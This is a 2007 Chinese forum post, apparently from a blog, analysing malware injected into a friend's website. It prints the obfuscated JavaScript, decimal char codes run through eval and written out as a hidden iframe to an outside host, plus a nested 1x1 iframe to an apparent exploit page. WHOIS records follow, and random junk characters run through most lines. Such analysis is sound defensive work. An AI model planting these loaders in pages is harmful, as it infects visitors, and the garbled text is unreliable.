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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, Xz"xp8Hc(6  
-+W E9  
http://www.areway.cn/?p=175 ^4=%~Yx  
1SG^X-(GM/  
<+: PTG/('  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: U,V+qnS  
          cG5u$B  
<script>t=’60,105,102,114,97,109,101, Svm'ds7>  
32,115,114,99,61,104,116,116,112,58,47,47, .Ix[&+LsY  
102,114,101,101,46,117,45,117,117,117,46,99, %18%T{|$e  
110,47,101,114,114,111,114,46,104,116,109, I~ e,']  
32,119,105,100,116,104,61,49,48,48,32,104, MLN+ BuS  
101,105,103,104,116,61,48,62,60,47,105,102, HAAU2A9B2  
114,97,109,101,62′; {Z#=ppvs  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> 2{4f>,][  
                                                                                                  lMe+.P|  
<script>t=’60,105,102,114,97,109,101,32,115, |D1TSv}rZD  
114,99,61,104,116,116,112,58,47,47,102,114, ;]T;mb>  
101,101,46,117,45,117,117,117,46,99,110,47, :~'R|l  
101,114,114,111,114,46,104,116,109,32,119, 5RR4jX]  
105,100,116,104,61,49,48,48,32,104,101,105, d8&T62Dnd4  
103,104,116,61,48,62,60,47,105,102,114,97, [p_<`gU?  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); MGH2z:  
document.write(t);</script> z,(.` %h  
                                                                                                  , nW)A/?}  
<html xmlns=” $tDM U3,W  
http://www.w3.org/1999/xhtml WntolYd  
“> =21m|8c  
<head> &S8,-~U  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> 6@Ir|o  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> ?fQ8Ff  
<title>首页 - 爱生活家庭网 b&*N  
                                                                                                                                                    ))E| SAr  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 NB3ar&.$S  
转换字符串后的大概内容是(谁点击后果自付): O T .bXr~  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… !G;|~|fMV  
                                                                                                                                  ISg-?h/  
查询玉米u-uuu.cn的详细信息: :\~YbA  
Domain Name: u-uuu.cn C&;m56  
ROID: 20070901s10001s64972306-cn r>J%Eu/O  
Domain Status: ok 4f'!,Q ;  
Registrant Organization: 王雷 ebhV;Q.  
Registrant Name: 王雷 oVY_|UujG  
Administrative Email: czlovexs@126.com TsY nsLQY  
Sponsoring Registrar: 北京万网志成科技有限公司 =" pNE#  
Name Server:ns.yovole.com N[kl3h%q  
Name Server:ns1.yovole.com X- `PF  
Registration Date: 2007-09-01 17:54 cRP!O|I`]  
Expiration Date: 2008-09-01 17:54 ;Hn>Ew  
最后PING了一下地址 都没有什么…. ;OSEMgB1  
                                                                                                H6<3'P  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. AU<A\  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> x]vyt}oCmk  
<script language=”javascript” src=” oW3Uyj  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script hI,+J>  
> =1zRm >m  
这个玉米应该有可能是木马作者的: VlS`m,:{  
foafau.info的详细信息: e(vnnv?R{  
Access to INFO WHOIS information is provided to assist persons in (/A 6kp?  
determining the contents of a domain name registration record in the ksF4m_E>YB  
Afilias registry database. The data in this record is provided by >w#&fd  
Afilias Limited for informational purposes only, and Afilias does not VN]j*$5   
guarantee its accuracy.  This service is intended only for query-based rN`-ak  
access. You agree that you will use this data only for lawful purposes SbH} cu8  
and that, under no circumstances will you use this data to: (a) allow, K[i&!Z&  
enable, or otherwise support the transmission by e-mail, telephone, or CmdPa!4)  
facsimile of mass unsolicited, commercial advertising or solicitations %S<))G  
to entities other than the data recipient’s own existing customers; or $>hH{  
(b) enable high volume, automated, electronic processes that send )u]1j@Id  
queries or data to the systems of Registry Operator, a Registrar, or :a_MT  
Afilias except as reasonably necessary to register domain names or '3 JVUHn  
modify existing registrations. All rights reserved. Afilias reserves 6k;>:[p  
the right to modify these terms at any time. By submitting this query, ~{q; - &  
you agree to abide by this policy. N\85fPSMG|  
Domain ID:D22418703-LRMS G4G<Ow)`  
Domain Name:FOAFAU.INFO 0r]-Ltvl?}  
Created On:20-Nov-2007 16:05:42 UTC +5H1n(6)  
Last Updated On:20-Nov-2007 16:05:44 UTC ;upYam"  
Expiration Date:20-Nov-2008 16:05:42 UTC 4v.i!U# {  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) _vUId?9@+e  
Status:CLIENT DELETE PROHIBITED ;9hS_%ldX4  
Status:CLIENT RENEW PROHIBITED 3q.HZfN~  
Status:CLIENT TRANSFER PROHIBITED 7e6; |?  
Status:CLIENT UPDATE PROHIBITED Qk].^'\  
Status:TRANSFER PROHIBITED dl+:u}9M$  
Registrant ID:GODA-040110615 ogG:Ai)90  
Registrant Name:liu hong WTUC\}#E\  
Registrant Organization: mw~$;64;a  
Registrant Street1:beijing GW0e=Y=LR  
Registrant Street2: ;;mr?'R  
Registrant Street3: \hZye20  
Registrant City:beijing d%#5roR4<  
Registrant State/Province: QQQN}!xPj  
Registrant Postal Code:100000 'v%v*Ujf[  
Registrant Country:CN ,b74 m  
Registrant Phone:+86.860108888777 \6vr)1~N>  
Registrant Phone Ext.: ~--F?KUnL  
Registrant FAX: |yi#6!}^  
Registrant FAX Ext.: D}nIF7r2N  
Registrant Email:bbbshiji@163.com ~!"z`&  
Admin ID:GODA-240110615 wPr!.:MF  
Admin Name:liu hong #=czqZw  
Admin Organization: h{?cs%lZ  
Admin Street1:beijing 7a4h7/  
Admin Street2: W4]jx ]  
Admin Street3: Qp~3DUM  
Admin City:beijing isor%R!  
Admin State/Province: J@o$V- KK  
Admin Postal Code:100000 }=s64O 9j  
Admin Country:CN 0"koZd,c  
Admin Phone:+86.860108888777 3W55 m@w  
Admin Phone Ext.: U\(T<WX,  
Admin FAX: 077 wk  
Admin FAX Ext.: 7t|011<  
Admin Email:bbbshiji@163.com 73kI%nNB  
Billing ID:GODA-340110615 eI=:z/pd  
Billing Name:liu hong e{}vT$-  
Billing Organization: 6yedl0@wa!  
Billing Street1:beijing m-HBoN  
Billing Street2: \Z$MH`_nu  
Billing Street3: ?pkGejcQ  
Billing City:beijing ?d@zTAI  
Billing State/Province: mZ#h p}\.  
Billing Postal Code:100000 G(MLq"R6U  
Billing Country:CN 9bu1Ax1M  
Billing Phone:+86.860108888777 b^WF R   
Billing Phone Ext.: "T' QbK0  
Billing FAX: }/M`G]wT#  
Billing FAX Ext.: >JT^[i8[  
Billing Email:bbbshiji@163.com R)'[Tt`#R  
Tech ID:GODA-140110615 @T&w n k  
Tech Name:liu hong *m:'~\[u  
Tech Organization: (?#"S67  
Tech Street1:beijing "~6IjW*/  
Tech Street2: M6"a w6  
Tech Street3: Z>J3DH  
Tech City:beijing P7 R}oO_n:  
Tech State/Province: 4[n[Ch=lu  
Tech Postal Code:100000 koy0A/\%  
Tech Country:CN ivJTE  
Tech Phone:+86.860108888777 Y(h (Z  
Tech Phone Ext.: MsjC4(Xla.  
Tech FAX: mjJ/rx{kbw  
Tech FAX Ext.: - e_B  
Tech Email:bbbshiji@163.com tW"s^r=95  
Name Server:NS27.DOMAINCONTROL.COM ?io ,8  
Name Server:NS28.DOMAINCONTROL.COM ew*;mQd  
Name Server: ]`TX%Qni  
Name Server: RKwuvVI  
Name Server: !s47A"O&B  
Name Server: -'RD%_  
Name Server:  h3z9}'  
Name Server: F{FSmUxzK  
Name Server: (zIF2qY  
Name Server: /[>zFYaQ  
Name Server: &ej |DM6  
Name Server: ts;C:.X  
Name Server: ,Zb_Pu   
                                                                                                          y.?Q  
接着下载每个文件里面的代码: -59;Zn/  
一步一步看.. >3)AO04=;  
z-;yDB:~t  
js)I%Z  
xQ\S!py-  
E9:p A5H-j  
mM-7 j z  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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